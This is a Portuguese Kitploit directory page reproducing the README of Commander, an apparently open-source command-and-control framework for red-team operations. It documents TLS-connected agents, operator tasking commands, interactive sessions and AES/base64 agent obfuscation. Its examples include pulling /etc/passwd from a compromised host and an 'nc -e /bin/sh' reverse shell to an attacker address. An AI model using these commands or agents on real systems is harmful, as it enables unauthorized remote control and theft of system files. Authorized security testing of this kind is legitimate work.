Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Commander — Framework de comando e controle baseado em Python com comunicação TLS criptografada, suporte a múltiplos agentes (Python/C), sessões interativas, transferência de arquivos e ofuscação AES para operações de red team. | Kitploit
Ferramentas/GitHubGitHub/voukatas/commander
Ferramentas de Criptografia/DescriptografiaPós-ExploraçãoTestes de PenetraçãoComando e ControleRed TeamingDesenvolvimento de Payloads
GitHubvoukatas/commander

Commander

Framework de comando e controle baseado em Python com comunicação TLS criptografada, suporte a múltiplos agentes (Python/C), sessões interativas, transferência de arquivos e ofuscação AES para operações de red team.

Ver Repositório
6318há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Commander

Commander é um framework de comando e controle (C2) escrito em Python, Flask e SQLite. Ele vem com dois agentes escritos em Python e C.

Em Desenvolvimento Contínuo

Não é amigável para script-kiddie

Funcionalidades

  • Comunicação totalmente criptografada (TLS)
  • Múltiplos Agentes
  • Ofuscação
  • Sessões Interativas
  • Escalável
  • Codificação de dados Base64
  • API RESTful

Agentes

  • Python 3
    • O agente python suporta:
      • sessões, um shell interativo entre o administrador e o agente (como ssh)
      • ofuscação
      • Sistemas Windows e Linux
      • funcionalidade de download/upload de arquivos
  • C
    • O agente C suporta apenas a funcionalidade básica por enquanto, o controle de tarefas para os agentes
    • Apenas para sistemas Linux

Requisitos

Python >= 3.6 é necessário para executar e as seguintes dependências

root@kitploit:~
Linux for the admin.py and c2_server.py. (Untested for windows)
apt install libcurl4-openssl-dev libb64-dev
apt install openssl
pip3 install -r requirements.txt

Pré-visualização

captura de tela

Como Usar

Primeiro, crie os certificados e chaves necessários

root@kitploit:~
# if you want to secure your key with a passphrase exclude the -nodes
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes

Inicie o módulo admin.py primeiro para criar um arquivo de banco de dados sqlite local

root@kitploit:~
python3 admin.py

Continue executando o servidor

root@kitploit:~
python3 c2_server.py

E por último o agente. Para o agente python você pode simplesmente executá-lo, mas no caso do agente C você precisa compilá-lo primeiro.

root@kitploit:~
# python agent
python3 agent.py

# C agent
gcc agent.c -o agent -lcurl -lb64
./agent

Por padrão, tanto os Agentes quanto o servidor estão executando sobre TLS e base64. O ponto de comunicação está configurado para 127.0.0.1:5000 e, caso seja necessário um ponto diferente, deve ser alterado nos arquivos fonte dos Agentes.

Como Operador/Administrador, você pode usar os seguintes comandos para controlar seus agentes

root@kitploit:~
Commands:

  task add arg c2-commands
    Add a task to an agent, to a group or on all agents.
    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid' 
    c2-commands: possible values are c2-register c2-shell c2-sleep c2-quit
      c2-register: Triggers the agent to register again.
      c2-shell cmd: It takes an shell command for the agent to execute. eg. c2-shell whoami
         cmd: The command to execute.
      c2-sleep: Configure the interval that an agent will check for tasks.
      c2-session port: Instructs the agent to open a shell session with the server to this port.
         port: The port to connect to. If it is not provided it defaults to 5555.
      c2-quit: Forces an agent to quit.

  task delete arg
    Delete a task from an agent or all agents.
    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid' 
  show agent arg
    Displays info for all the availiable agents or for specific agent.
    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid' 
  show task arg
    Displays the task of an agent or all agents.
    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid' 
  show result arg
    Displays the history/result of an agent or all agents.
    arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid' 
  find active agents
    Drops the database so that the active agents will be registered again.

  exit
    Bye Bye!


Sessions:

  sessions server arg [port]
    Controls a session handler.
    arg: can have the following values: 'start' , 'stop' 'status' 
    port: port is optional for the start arg and if it is not provided it defaults to 5555. This argument defines the port of the sessions server
  sessions select arg
    Select in which session to attach.
    arg: the index from the 'sessions list' result 
  sessions close arg
    Close a session.
    arg: the index from the 'sessions list' result 
  sessions list
    Displays the availiable sessions
  local-ls directory
    Lists on your host the files on the selected directory 
  download 'file'
    Downloads the 'file' locally on the current directory 
  upload 'file'
    Uploads a file in the directory where the agent currently is 

Atenção especial deve ser dada ao comando 'find active agents'. Este comando deleta todas as tabelas e as cria novamente. Pode parecer assustador, mas não é, pelo menos é o que acredito :P

A ideia por trás dessa funcionalidade é que o servidor c2 pode solicitar que um agente se registre novamente no caso de não o reconhecer. Então, como queremos limpar o banco de dados de entradas antigas não utilizadas e ao mesmo tempo encontrar todos os hosts ativos no momento, podemos deletar as tabelas e acionar o mecanismo de re-registro do servidor c2. Veja abaixo o mecanismo de re-registro.

Fluxos

Abaixo você pode encontrar um diagrama de fluxo normal

Fluxo Normal

captura de tela

No caso de o ambiente sofrer uma falha grave, como um banco de dados corrompido ou alguma outra falha crítica, o mecanismo de re-registro é ativado para que não percamos a conexão com nossos agentes.

Mais especificamente, no caso de perdermos o banco de dados, não teremos nenhuma informação sobre os uuids que estamos recebendo, portanto não podemos definir tarefas neles, etc... Então, os agentes continuarão tentando recuperar suas tarefas e, como não os reconhecemos, pediremos que se registrem novamente para que possamos inseri-los em nosso banco de dados e controlá-los novamente.

Abaixo está o diagrama de fluxo para este caso.

Fluxo de Re-registro

captura de tela

Exemplos Úteis

Para configurar seu ambiente, inicie o admin.py primeiro, depois o c2_server.py e execute o agente. Depois você pode verificar os agentes disponíveis.

root@kitploit:~
# show all availiable agents
show agent all

Para instruir todos os agentes a executar o comando "id", você pode fazer assim:

root@kitploit:~
# for all agents
task add all c2-shell id

# check the results of the "id"
show result all

Para verificar o histórico/resultados anteriores de tarefas executadas para um agente específico, faça assim:

root@kitploit:~
# check the results of a specific agent
show result 85913eb1245d40eb96cf53eaf0b1e241

Você também pode alterar o intervalo dos agentes que verificam tarefas para 30 segundos assim:

root@kitploit:~
# to set it for all agents
task add all c2-sleep 30

Para abrir uma sessão com um ou mais de seus agentes, faça o seguinte.

root@kitploit:~
# find the agent/uuid
show agent all

# enable the server to accept connections
sessions server start 5555

# add a task for a session to your prefered agent
task add your_prefered_agent_uuid_here c2-session 5555

# display a list of available connections
sessions list

# select to attach to one of the sessions, lets select 0
sessions select 0

# run a command
id

# download the passwd file locally
download /etc/passwd

# list your files locally to check that passwd was created
local-ls

# upload a file (test.txt) in the directory where the agent is
upload test.txt

# return to the main cli
go back

# check if the server is running
sessions server status

# stop the sessions server
sessions server stop

Se por algum motivo você quiser executar outra sessão externa, como com netcat ou metaspolit, faça o seguinte.

root@kitploit:~
# show all availiable agents
show agent all

# first open a netcat on your machine
nc -vnlp 4444

# add a task to open a reverse shell for a specific agent
task add 85913eb1245d40eb96cf53eaf0b1e241 c2-shell nc -e /bin/sh 192.168.1.3 4444

Dessa forma, você terá um shell 'duro de matar' que, mesmo se você se desconectar, ele voltará imediatamente. Apenas os comandos interativos o farão morrer permanentemente.

Ofuscação

O agente python oferece ofuscação usando uma criptografia AES ECB básica e codificação base64

Edite o arquivo obfuscator.py e altere o valor 'key' para uma chave de 16 caracteres para criar um payload personalizado. A saída do novo agente pode ser encontrada em Agents/obs_agent.py

Você pode executá-lo assim:

root@kitploit:~
python3 obfuscator.py

# and to run the agent, do as usual
python3 obs_agent.py

Dicas e Truques

  1. O servidor de aplicativo flask embutido não pode lidar com múltiplas/solicitações concorrentes. Então, você pode usar o servidor gunicorn para melhor desempenho assim:
root@kitploit:~
gunicorn -w 4 "c2_server:create_app()" --access-logfile=- -b 0.0.0.0:5000 --certfile server.crt --keyfile server.key 
  1. Crie um arquivo binário para seu agente python assim:
root@kitploit:~
pip install pyinstaller
pyinstaller --onefile agent.py

O binário pode ser encontrado no diretório dist.

Caso algo falhe, pode ser necessário atualizar suas bibliotecas python e pip. Se continuar falhando, então... bem, a vida aconteceu

  1. Crie novos certificados em cada engajamento

  2. Faça backup do seu c2.db, é fácil... apenas um arquivo

Testes

pytest foi usado para os testes. Você pode executar os testes assim:

root@kitploit:~
cd tests/
py.test

Cuidado: Você deve executar os testes dentro do diretório tests, caso contrário seu c2.db será sobrescrito e você perderá seus dados

Para verificar a cobertura de código e produzir um belo relatório html, você pode usar isto:

root@kitploit:~
# pip3 install pytest-cov
python -m pytest --cov=Commander --cov-report html

Aviso Legal: Esta ferramenta destina-se apenas a ser uma ferramenta de demonstração de prova de conceito para testes de segurança autorizados. Executar esta ferramenta contra hosts que você não tem permissão explícita para testar é ilegal. Você é responsável por qualquer problema que possa causar ao usar esta ferramenta.

Baixar ferramenta